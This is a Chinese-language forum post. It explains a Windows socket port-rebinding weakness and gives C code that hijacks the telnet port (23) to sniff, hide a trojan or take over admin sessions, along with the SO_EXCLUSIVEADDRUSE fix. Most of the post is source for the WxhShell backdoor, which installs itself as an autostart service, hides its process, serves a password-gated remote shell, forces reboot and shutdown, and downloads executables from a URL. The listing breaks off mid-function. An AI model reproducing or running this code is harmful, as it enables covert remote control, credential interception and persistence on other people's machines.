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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l\AdL$$Mb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZLKbF9lo  
M"s:*c_6  
  saddr.sin_family = AF_INET; ._]Pz 6  
hV,T889'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fyw X  
9QHj$)?k,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e&i`/m5  
ydOG8EI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /2=9i84  
zJ}abo6rVw  
  这意味着什么?意味着可以进行如下的攻击: =d"5k DK-m  
5p~5-_JX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %?+Lkj&  
;J+iwS*Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y&,}q_Z:  
=BR+J9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2eRk_j]  
O[U`(A:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;(}~m&p  
Y[PC<-fyf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *mj=kJ7(  
pV8tn!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b1'849i'y=  
R%}<z*~NE@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K5`*Y@  
7uw-1F5x7  
  #include =IX-n$d`>  
  #include hfbu+w):  
  #include n;=FD;}j+  
  #include    SnUR?k1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #d[Nm+~ko  
  int main() 2x|F Vp  
  { |"Zf0G  
  WORD wVersionRequested; T ?A3f]U  
  DWORD ret; lq3D!+ m  
  WSADATA wsaData; ) 5Ij  
  BOOL val; JURu>-i  
  SOCKADDR_IN saddr; J1gnR  
  SOCKADDR_IN scaddr; ps`j>vX*  
  int err; 862rol  
  SOCKET s; Au)~"N~p?  
  SOCKET sc; *6u2c%^  
  int caddsize; 0x*|X@ 6\  
  HANDLE mt; QAo/d4  
  DWORD tid;   ->IZZ5G<  
  wVersionRequested = MAKEWORD( 2, 2 ); Br<lP#u=G  
  err = WSAStartup( wVersionRequested, &wsaData ); Fo ;J3<U)  
  if ( err != 0 ) { nW\W<[O9  
  printf("error!WSAStartup failed!\n"); K3=0D!Dq  
  return -1; >;j&]]-&  
  } Y%TY%"<  
  saddr.sin_family = AF_INET; \AoqOC2u  
   "D4% A!i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >e-0A  
:nl,A c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GZx*A S]+  
  saddr.sin_port = htons(23); g__s(  IJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r.Z g<T  
  { tZg)VJQys  
  printf("error!socket failed!\n"); Hc|cA(9sh9  
  return -1; u+6D|  
  } ;[P>  
  val = TRUE; 6,~ 1^g*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {LA?v& b'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,|z zq@fk  
  { v}AjW%rB  
  printf("error!setsockopt failed!\n"); Lq.2vfA>  
  return -1; w<]-~`K  
  } 69:-c@ L0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^PJN$BJx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )~"0d;6_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0SIUp/.  
O/(vimx.#F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `Z{s,!z  
  { ?uJX  
  ret=GetLastError(); DMp@B]>  
  printf("error!bind failed!\n"); 3'A0{(b  
  return -1; fJk'5kv  
  } #bG6+"g{=L  
  listen(s,2); {0/2Hw n  
  while(1) 8gt*`]I  
  { R/E6n &R  
  caddsize = sizeof(scaddr); 'YbE%i}  
  //接受连接请求 #CyqiOM\*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xA2I+r*o  
  if(sc!=INVALID_SOCKET) c (5XT[Tw  
  { F)imeu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gk5Gf l  
  if(mt==NULL) H=Cj/jE  
  { HKO]_; :(  
  printf("Thread Creat Failed!\n"); +`V<& Y-5l  
  break; -lv(@7o~  
  } RDy&i  
  } lt2MB#  
  CloseHandle(mt); S^EAE]  
  } &^ s8V]^  
  closesocket(s); *O[/- p&7  
  WSACleanup(); 9pS:#hg  
  return 0; YvP62c \  
  }   kG}F/GN?  
  DWORD WINAPI ClientThread(LPVOID lpParam) dmLx$8  
  { alNn(0MG  
  SOCKET ss = (SOCKET)lpParam; O2 + K  
  SOCKET sc; 7d|1T'  
  unsigned char buf[4096]; Lg#(?tMp,'  
  SOCKADDR_IN saddr; [>3dhj[;  
  long num; cF9oo%3  
  DWORD val; mU]^PC2[  
  DWORD ret; 15aPoxo>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !g=b=YK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m9&%A0  
  saddr.sin_family = AF_INET; '<1Cta`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [EZ=tk  
  saddr.sin_port = htons(23); UVgSO|Tg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0,.|-OZ  
  { Odhr=Hs  
  printf("error!socket failed!\n"); v?Cakwu  
  return -1; 8ZCA vEy  
  } e5 zi"~  
  val = 100; ^~@3X[No  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wyeb1  
  { fM*?i"j;Y  
  ret = GetLastError(); @>J(1{m=Gy  
  return -1; oK4xRv8Hd  
  } ZBN,%P!P0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dZb;`DjTH  
  { `s Pk:cNz~  
  ret = GetLastError(); g)|vS>^~  
  return -1; , `EOJ"|  
  } v '^}zO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c813NHW  
  { A:yql`&s  
  printf("error!socket connect failed!\n"); ;vX1U8  
  closesocket(sc); X(3| (1;sV  
  closesocket(ss); b0@K ~O;g  
  return -1; %f1IV(3Qc  
  } 4*5e0:O  
  while(1) VEn3b  
  { T0)bnjm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k%kEW%I yG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n4}e!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s@y;b0$gk  
  num = recv(ss,buf,4096,0); Hz==,NR-W  
  if(num>0) ki/Cpfq40*  
  send(sc,buf,num,0); YG8)`X qC  
  else if(num==0) u GqeT#dP  
  break; |_-w{2K  
  num = recv(sc,buf,4096,0); *vEj\  
  if(num>0) ,Oy$q~.  
  send(ss,buf,num,0); 4gNN "  
  else if(num==0) ;FF+uK  
  break; a l6y=;\jZ  
  } Q4a7g$^  
  closesocket(ss); m.! M#x2!  
  closesocket(sc); / #rH18  
  return 0 ; 3]9Rmx  
  } (c^ {T)  
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========================================================== sK&kp=zu  
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下边附上一个代码,,WXhSHELL %iEdUV\$  
+'MO$&6  
========================================================== n]D io  
J[hmY=,  
#include "stdafx.h" O"\_%=X9  
Ak kF6d+  
#include <stdio.h> 4\*:Lc,-  
#include <string.h> bDJ!Fc/  
#include <windows.h> L=EkY O%\"  
#include <winsock2.h> 0R[fH  
#include <winsvc.h> {Q_GJ  
#include <urlmon.h> cg17e  
I}0 ?d  
#pragma comment (lib, "Ws2_32.lib") !X~NL+  
#pragma comment (lib, "urlmon.lib") 5dN>Xjpu  
xE^G*<mj:  
#define MAX_USER   100 // 最大客户端连接数 ]sL.+.P  
#define BUF_SOCK   200 // sock buffer k} &wy  
#define KEY_BUFF   255 // 输入 buffer {k-_+#W"  
HQ" trV  
#define REBOOT     0   // 重启 YlGUd~$`"+  
#define SHUTDOWN   1   // 关机 bPP@  
Cb?  !+U  
#define DEF_PORT   5000 // 监听端口 !&g_hmnIF  
'/9j"mIA9$  
#define REG_LEN     16   // 注册表键长度 .PVYYhrt  
#define SVC_LEN     80   // NT服务名长度 kc P ZIP:  
b|DU  
// 从dll定义API Y$n+\K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O TlqJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vfv?QjR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RMT9tXe*5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JQ0Z%;"  
[7gz?9VyLF  
// wxhshell配置信息 0|tyKP|J  
struct WSCFG { eZ]r"_?  
  int ws_port;         // 监听端口 \y=28KKc:c  
  char ws_passstr[REG_LEN]; // 口令 a6./;OC  
  int ws_autoins;       // 安装标记, 1=yes 0=no P![ZO6`:W'  
  char ws_regname[REG_LEN]; // 注册表键名 (Z?f eUxp  
  char ws_svcname[REG_LEN]; // 服务名 Ua 6O~,\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e.DN,rhqI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cyB+(jLHDs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1R~$m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -p)`ob-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .`+~mQ Wn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mIYKzu_k=  
yGt [Qvx#  
}; =CD6x= l6  
Tr:@Dv.O  
// default Wxhshell configuration i*mU<:t  
struct WSCFG wscfg={DEF_PORT, 6c-'CW  
    "xuhuanlingzhe", |g^YD;9s.  
    1, )rj!/%  
    "Wxhshell", (n?f016*%d  
    "Wxhshell", 8gE p5  
            "WxhShell Service", fcF|m5  
    "Wrsky Windows CmdShell Service", exiu;\+j  
    "Please Input Your Password: ", r^C(|Vx  
  1, 8YRT0/V  
  "http://www.wrsky.com/wxhshell.exe", ,pTZ/#vP#  
  "Wxhshell.exe"  X{Vs  
    }; f~P YK  
*'aJO }$  
// 消息定义模块 AU`z.Isf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t/O^7)%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y4p"LD5%^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; leNX5 sX  
char *msg_ws_ext="\n\rExit."; v}t{*P  
char *msg_ws_end="\n\rQuit."; gE@Pb  
char *msg_ws_boot="\n\rReboot..."; FN!?o:|(  
char *msg_ws_poff="\n\rShutdown..."; P8dMfD*"E  
char *msg_ws_down="\n\rSave to "; H9TeMY  
j1{`}\e  
char *msg_ws_err="\n\rErr!"; Y iuV\al  
char *msg_ws_ok="\n\rOK!"; iH-,l  
x2)WiO/As  
char ExeFile[MAX_PATH]; 5TuwXz1v  
int nUser = 0; sRcd{)|Cq  
HANDLE handles[MAX_USER]; ]SU)L5Dt;  
int OsIsNt; iCiKr aW  
^vG<Ma.yk  
SERVICE_STATUS       serviceStatus; ;7qzQ{Km  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =*ErN  
~x'8T!M{  
// 函数声明 |-{ Hy(9  
int Install(void); 6%6dzZ  
int Uninstall(void); o!+'< IQ'  
int DownloadFile(char *sURL, SOCKET wsh); yc7b%T*Y  
int Boot(int flag); L6nsVL&  
void HideProc(void); Fng  
int GetOsVer(void); -b?M5P*:  
int Wxhshell(SOCKET wsl); O!dS;p-F  
void TalkWithClient(void *cs); X}3?k<m  
int CmdShell(SOCKET sock); C "@>NC_  
int StartFromService(void); 9 $X" D  
int StartWxhshell(LPSTR lpCmdLine); mpwh=  
O zC%6;6h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gy["_;+xU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [Pp#r&4H  
CfrO1iF  
// 数据结构和表定义 V[WZ#u-p  
SERVICE_TABLE_ENTRY DispatchTable[] = o+}1M  
{ hUvA;E(qD  
{wscfg.ws_svcname, NTServiceMain}, PEjd  
{NULL, NULL} o(54 A['  
}; 16I[z+RG  
c%b|+4 }x  
// 自我安装 o M@%2M_O(  
int Install(void) jc:=Pe!E  
{ qu $FpOJ  
  char svExeFile[MAX_PATH]; v?3xWXX,  
  HKEY key; ON!Fk:-  
  strcpy(svExeFile,ExeFile); uInI{>  
h'G  
// 如果是win9x系统,修改注册表设为自启动 @Bkg<  
if(!OsIsNt) { j8?! J^TC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;QG8@ms|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q8l vwip  
  RegCloseKey(key); bY,dWNS:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QjpJIw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fpn'0&~-fi  
  RegCloseKey(key); w0sy@OF  
  return 0; ;cL+= !  
    } W!9~bBF',  
  } }>,%El/  
} gV:0&g\v  
else { FoYs<aER  
t^6ams$  
// 如果是NT以上系统,安装为系统服务 <H<Aba9\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q:jv9eL.O  
if (schSCManager!=0) '_K`1&#U  
{ J- l[dC  
  SC_HANDLE schService = CreateService 9~K>c  
  ( n@C#,v#^0  
  schSCManager, ~% ]V,-4  
  wscfg.ws_svcname, 8"ZcKxDk  
  wscfg.ws_svcdisp, _q@lP|  
  SERVICE_ALL_ACCESS, yVPFH~1@\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , trLxg H_Y  
  SERVICE_AUTO_START, 7n;a_Z0s$  
  SERVICE_ERROR_NORMAL, 9/&1lFKJ  
  svExeFile, X^m @*,[s  
  NULL, slr>6o%W`  
  NULL, Qd ?S~3XT  
  NULL, n*|8 (fD  
  NULL, K6~')9 Q  
  NULL #=m:>Q?%z  
  ); bgInIe  
  if (schService!=0) xw1,Wbu]  
  { Mcd K!V  
  CloseServiceHandle(schService); $x+ P)5)  
  CloseServiceHandle(schSCManager); +@@( C9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;gRPTk$X3  
  strcat(svExeFile,wscfg.ws_svcname); -/7@ A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >M m.MNU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ilgd  
  RegCloseKey(key); `\BBdQ#bH  
  return 0; M&/e*Ta5  
    } p1z^i(  
  } "(+aWvb  
  CloseServiceHandle(schSCManager); *Hh*!ePp  
} ]InDcE  
} q| *nd!y'  
 GL&rT&  
return 1; qNkX:|j  
} Hu!<GB~  
`-rtU  
// 自我卸载 .d4&s7n0  
int Uninstall(void) Zl2doXC  
{ vZSwX@0  
  HKEY key; qMBEJ<o  
m{6 *ae  
if(!OsIsNt) { 57U;\L;ZmZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J\I`#  
  RegDeleteValue(key,wscfg.ws_regname); @y# u!}  
  RegCloseKey(key); CT{ X$N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [rhK2fr:i  
  RegDeleteValue(key,wscfg.ws_regname); `[f IK,  
  RegCloseKey(key); j0e1CSE  
  return 0; 8 A#\V  
  } D_I_=0qNd  
} ~eGtoEY  
} PF;`mdi-,  
else { <UJ5n) }"\  
MCfDR#a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lN::veD  
if (schSCManager!=0) p:|p?  
{ Uw>g^[V;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wQ9fPOm  
  if (schService!=0) mz .uK2l{  
  { eN I6V/\`  
  if(DeleteService(schService)!=0) { > bSQ}kXe  
  CloseServiceHandle(schService); " 1$hfs  
  CloseServiceHandle(schSCManager);  *U4eL-  
  return 0; e5cvmUF_W  
  } 2ISnWzq;  
  CloseServiceHandle(schService);  qr7_3  
  } ,N5-(W  
  CloseServiceHandle(schSCManager); 6imQjtI  
} XiUae{j`  
} v!?>90a  
T$9tO{  
return 1; :mz6*0qW  
} X9n},}bJ"  
p\/;^c`7  
// 从指定url下载文件 HA(G q  
int DownloadFile(char *sURL, SOCKET wsh) Z&0*\.6S~  
{ {3=]cLtt  
  HRESULT hr; WJ$!W  
char seps[]= "/"; }Z}4_/E  
char *token; ,Tc598D  
char *file; TW?A/GoXI  
char myURL[MAX_PATH]; BDT1qiC  
char myFILE[MAX_PATH]; D[ (A`!)  
M2e_)f:  
strcpy(myURL,sURL); p_2-(n@  
  token=strtok(myURL,seps); k9?fE  
  while(token!=NULL) seEG~/U<  
  { Aaq!i*y  
    file=token; J(\f(jh/  
  token=strtok(NULL,seps); oefhJM!y  
  }  \>*B  
k~ZE4^dM  
GetCurrentDirectory(MAX_PATH,myFILE); [1{uK&$e  
strcat(myFILE, "\\"); d'Z  
strcat(myFILE, file); V/}g'_E  
  send(wsh,myFILE,strlen(myFILE),0); 4r'f/s8"#  
send(wsh,"...",3,0); qkN{l88  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0W I3m2i  
  if(hr==S_OK) c>%+y+b{  
return 0; 4:p+C-gs  
else EpCsJ08K  
return 1; k-&fPEjG  
R4Vi*H  
} ~ g\GC  
E/</  
// 系统电源模块 b-rgiR$cg  
int Boot(int flag) B2PjS1z2  
{ Oi=c 6n  
  HANDLE hToken; fH/J8<  
  TOKEN_PRIVILEGES tkp; AF}6O(C~  
nDvj*lZF  
  if(OsIsNt) { tGcp48R-:+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [80L|?, *  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3~7X2}qU  
    tkp.PrivilegeCount = 1; 5P'<X p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D/1f> sl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ivKhzU+  
if(flag==REBOOT) { &xG>"sJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CVp`G"W:  
  return 0; rG _T!']~  
} Ne)H*DT  
else { J~3+j6?%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yrnIQu*Uu  
  return 0; G G]4g)O5  
} 0Y8Si^T  
  } #G;0yB:76  
  else { f?OFMac  
if(flag==REBOOT) { 3(De> gs$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H]7MNY  
  return 0; cg-\|H1  
} Z9MT, "  
else { bcp+7b(IB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [/ B$cH  
  return 0; l0^~0xlED  
} Ka|WT|1  
} '$@bTW  
%QW1?VVP  
return 1; DM3W99PWA  
} @pcmVsIp  
{_GhS%  
// win9x进程隐藏模块 UE2!,Z,  
void HideProc(void) .</`#   
{ 3]=j!_yJf  
6  XZF8W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &R? \q*  
  if ( hKernel != NULL ) Q Q3a&  
  { RqV* O}Am  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sYQ=nL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u|v2J/_5Y  
    FreeLibrary(hKernel); Vz(O=w=  
  } E;Akm':  
#nTzn2  
return; U}w,$ Y  
} 3 ZZ"mlk*  
A2fc_A/a  
// 获取操作系统版本 {tq.c9+!d  
int GetOsVer(void) )5NfOvmNB  
{ I{e[Y_  
  OSVERSIONINFO winfo; %r1NRg8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c7~+ 5  
  GetVersionEx(&winfo); F/91Es  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P;.j5P^j`  
  return 1; T1\LS*~!  
  else <OQn |zU\  
  return 0; - '<K_e;  
} :gD=F&V  
7Nu.2qE  
// 客户端句柄模块 4f)B@A-  
int Wxhshell(SOCKET wsl) 3`%]3qd}  
{ ~F gxhK2+  
  SOCKET wsh; `\}Ck1o  
  struct sockaddr_in client; ZDQc_{e{  
  DWORD myID; FTVV+9.l:  
V7+fNr]I  
  while(nUser<MAX_USER) TBAF_$  
{ qK_jgj=w  
  int nSize=sizeof(client); NNOemTh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IE^xk@  
  if(wsh==INVALID_SOCKET) return 1; F(!9;O5J]  
SauX C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M<nKk#!+h  
if(handles[nUser]==0) ZGa;'  
  closesocket(wsh); /AT2<w  
else bdS  
  nUser++; e7n[NVrX  
  } QfdATK P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CXI%8eFXe$  
`RF0%Vm~t  
  return 0; -o+<m4he  
} >cTSX  
vYPZVqF_$  
// 关闭 socket '<Fr}Cn  
void CloseIt(SOCKET wsh) tL>c@w#Pv  
{ Oq`CKf  
closesocket(wsh); lG1\41ZxB  
nUser--; ;2k!KW@  
ExitThread(0); k1.h|&JJN  
} m@,u&9K  
M:PEY*4H  
// 客户端请求句柄 prk@uYCa =  
void TalkWithClient(void *cs) Rj'Tu0l  
{ TJO?BX_9  
?@>PKUv{  
  SOCKET wsh=(SOCKET)cs; *!m\%*y{  
  char pwd[SVC_LEN]; xlP0?Y1Bl  
  char cmd[KEY_BUFF]; >z"\l  
char chr[1]; u3G.xlHH[  
int i,j; "9^OT  
kMz*10$gn  
  while (nUser < MAX_USER) { +{r~-Rn3  
!*\ J4bJe  
if(wscfg.ws_passstr) { kgv29j?k;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); znkc@8_4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y),yks?iv  
  //ZeroMemory(pwd,KEY_BUFF); ,SF>$ .  
      i=0; .FdzEauVc  
  while(i<SVC_LEN) { {hH8+4c7  
ty>9i]Y-  
  // 设置超时 kM;}$*?  
  fd_set FdRead; <1pRAN0  
  struct timeval TimeOut; SR$?pJh D%  
  FD_ZERO(&FdRead); cHAq[Ebp2!  
  FD_SET(wsh,&FdRead); Oj F]K,$  
  TimeOut.tv_sec=8; '3uN]-A>D  
  TimeOut.tv_usec=0; _, r6t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ev[!:*6P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jwtt&" c0.  
X 2Zp @q(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kTfE*We9  
  pwd=chr[0]; aInh?-  
  if(chr[0]==0xd || chr[0]==0xa) { !CUy{nV  
  pwd=0; K&{ruHoKB  
  break; :m[HUh  
  } -\[&<o@/D  
  i++; nkO4~p  
    } n.b_fkZNr  
p;<aZ&@O  
  // 如果是非法用户,关闭 socket ]^6r7nfR6|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \B Uno6  
} qir8RPW  
g?gF*^_0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W5(.Hub}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (J5M+K\H  
J] )gXVRM  
while(1) { 9zNMv-  
k0IztFyj:R  
  ZeroMemory(cmd,KEY_BUFF); 9`Y\`F#}q  
U1=]iG<%  
      // 自动支持客户端 telnet标准   C,) e7  
  j=0; `G<|5pe  
  while(j<KEY_BUFF) { Jl fIYf~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :+v4,=fHy  
  cmd[j]=chr[0]; vxk~( 3]<)  
  if(chr[0]==0xa || chr[0]==0xd) { \Z^Tk   
  cmd[j]=0; *@fVogr^  
  break; om1D}irKT  
  } ^TqR0a-*  
  j++; S.*.nv  
    } j|IvDrm#  
Vy+kq_9  
  // 下载文件 la_FZ  
  if(strstr(cmd,"http://")) { roNs~]6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K}!YXy h  
  if(DownloadFile(cmd,wsh)) 8.tp#x,A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D%h_V>#z  
  else '&F Pk T:5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K{`3,U2Wx  
  } <]u]rZc$  
  else { i,mo0CSa  
#F:\_!2c  
    switch(cmd[0]) { xX\A& 9m  
  VcORRUp  
  // 帮助 ?dQ#%06mn  
  case '?': { r^+n06[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AxiCpAS;J  
    break; VRvX^w0  
  } dk@iAL*v  
  // 安装  m8z414o  
  case 'i': { WbHI>tt  
    if(Install()) Z]k+dJ[-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2-DJ3OL]k  
    else 0T<DHPQ1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `E5vO1Pl  
    break; skBzwVW I  
    } FS6I?q#tQ  
  // 卸载 z{G@t0q  
  case 'r': { -"w&g0Z  
    if(Uninstall()) XO"BEj<x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y*5$B.u`.  
    else o;J_"' kP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yf[GpSej  
    break; KL+,[M@ F  
    } Y%YPR=j~ &  
  // 显示 wxhshell 所在路径 }OLBEhGs  
  case 'p': { @+^5ze\  
    char svExeFile[MAX_PATH]; m| k:wuzqK  
    strcpy(svExeFile,"\n\r"); Tsl0$(2W  
      strcat(svExeFile,ExeFile); !_LRuqQ?"  
        send(wsh,svExeFile,strlen(svExeFile),0); Y )9]I6n7  
    break; qh~S)^zFJ  
    } mc}r15:<  
  // 重启 DX4"}w  
  case 'b': { P] 9-+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GeCyq%dN  
    if(Boot(REBOOT)) bx%P-r31  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CsW*E,|xyP  
    else { bhc .UmH  
    closesocket(wsh); <P)0Yu  
    ExitThread(0); ZHW|P  
    } _+x&[^gjP  
    break; 4f{(Scg  
    } pm~uWXqxr=  
  // 关机 /Jw 65 e  
  case 'd': { O)WduhlGQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }!0nb)kL  
    if(Boot(SHUTDOWN)) )a'c_ 2[  
